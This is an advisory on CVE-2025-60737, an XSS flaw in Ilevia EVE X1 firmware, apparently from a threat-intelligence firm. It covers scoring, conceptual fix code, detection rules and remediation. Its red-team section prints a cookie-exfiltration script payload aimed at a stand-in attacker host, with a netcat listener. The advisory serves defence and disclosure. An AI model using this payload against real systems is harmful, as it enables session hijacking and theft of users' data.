CVE-2025-60737

Executive Summary

CVE-2025-60737 is a Cross-Site Scripting (XSS) vulnerability identified in the Ilevia EVE X1 Server Firmware, specifically affecting versions up to and including 4.7.18.0.eden:Logic Version 6.00 - 2025_07_21. The vulnerability resides in the /index.php component, allowing a remote attacker to execute arbitrary code by injecting malicious scripts. This flaw can lead to session hijacking, data theft, or further compromise of the affected system. As of the latest analysis, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), and the associated MITRE ATT&CK tactic is T1190 (Exploit Public-Facing Application). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the lack of a patch.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability description and CWE classification, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., click a link).
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is exploitable remotely with low complexity, but requires user interaction. The lack of a patch and the potential for session hijacking or data theft elevate the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a stored or reflected Cross-Site Scripting (XSS) flaw in the /index.php component of the Ilevia EVE X1 Server Firmware. The application fails to properly sanitize user-supplied input before rendering it in web pages. An attacker can craft a malicious URL or inject script code into a parameter that is then executed in the context of the victim's browser.

Attack Flow:

1. The attacker identifies a vulnerable parameter in /index.php (e.g., ?page=, ?id=, or similar).
2. The attacker crafts a payload such as <script>alert('XSS')</script> or a more sophisticated payload to steal cookies or perform actions on behalf of the victim.
3. The attacker delivers the malicious link to a victim (e.g., via phishing email or social engineering).
4. The victim clicks the link, and the script executes in their browser, potentially allowing the attacker to hijack sessions, redirect to malicious sites, or exfiltrate data.

Root Cause: The application does not validate or encode user input before outputting it in the HTML response. This is a classic CWE-79 vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a typical fix would involve:

• Vulnerable Code (Conceptual):

  <?php
  $input = $_GET['param'];
  echo "<div>$input</div>";
  ?>
  

• Patched Code (Conceptual):

  <?php
  $input = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
  echo "<div>$input</div>";
  ?>
  

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Ilevia EVE X1 Server with firmware version <= 4.7.18.0.eden:Logic Version 6.00 - 2025_07_21.
• Attacker Machine: Kali Linux with Burp Suite or a simple Python HTTP server.
• Victim Machine: Any modern browser (e.g., Firefox, Chrome).

Exploitation Steps:

1. Identify the vulnerable parameter in /index.php. For example, if the parameter is page, test with:

   http://target-ip/index.php?page=<script>alert('XSS')</script>
   

2. If reflected, craft a payload to steal cookies:

   <script>document.location='http://attacker-ip/steal.php?cookie='+document.cookie</script>
   

3. URL-encode the payload and deliver it to the victim via a phishing link.
4. Set up a listener on the attacker machine to capture the cookie:

   nc -lvnp 80
   

5. Once the victim clicks the link, the cookie is exfiltrated.

Note: No public exploit code is available, so this is a generic XSS exploitation guide.

Blue Team

Detection & Response:

• Monitor web server logs for unusual parameters containing <script>, alert, onerror, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.
• Conduct regular vulnerability scans to identify unpatched systems.

Hunting Queries:

• Search for requests to /index.php with parameters containing %3Cscript%3E or similar encoded tags.
• Look for anomalous outbound connections from the server to unknown IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php with parameters containing <script>, %3Cscript%3E, or other XSS patterns.
  • Outbound connections to attacker-controlled IPs on common ports (80, 443, 8080).
• Host IOCs:
  • Unusual entries in web server access logs (e.g., GET /index.php?page=<script>alert(1)</script>).
  • Presence of unexpected JavaScript files or scripts in the web root.
• File IOCs:
  • Modified or new files in the web directory containing malicious JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_60737_XSS_Ilevia {
    meta:
        description = "Detects XSS payloads targeting Ilevia EVE X1 /index.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60737"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "alert(" nocase
        $xss3 = "onerror=" nocase
        $xss4 = "document.cookie" nocase
        $xss5 = "onload=" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against Ilevia EVE X1
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attacks targeting /index.php on Ilevia EVE X1
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/index.php'
        cs-uri-query|contains:
            - '<script>'
            - 'alert('
            - 'onerror='
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60737 XSS Attempt Against Ilevia EVE X1"; flow:to_server,established; content:"/index.php"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect the Ilevia EVE X1 server from the network until a patch is available.
2. Implement WAF rules: Block requests containing common XSS patterns (e.g., <script>, onerror=, javascript:).
3. Apply input validation: Use server-side input validation to reject or sanitize malicious input.
4. Enable CSP: Add a Content Security Policy header to restrict script execution.

Long-term Fix:

• Await an official patch from Ilevia. Contact the vendor for updates.
• If the firmware is open-source or modifiable, apply input sanitization (e.g., htmlspecialchars() in PHP) to all user inputs.
• Upgrade to a patched version once released.

Workaround:

• Disable the /index.php component if not essential, or restrict access via firewall rules.

Valters IT
Cyber Threat Intelligence & DevSecOps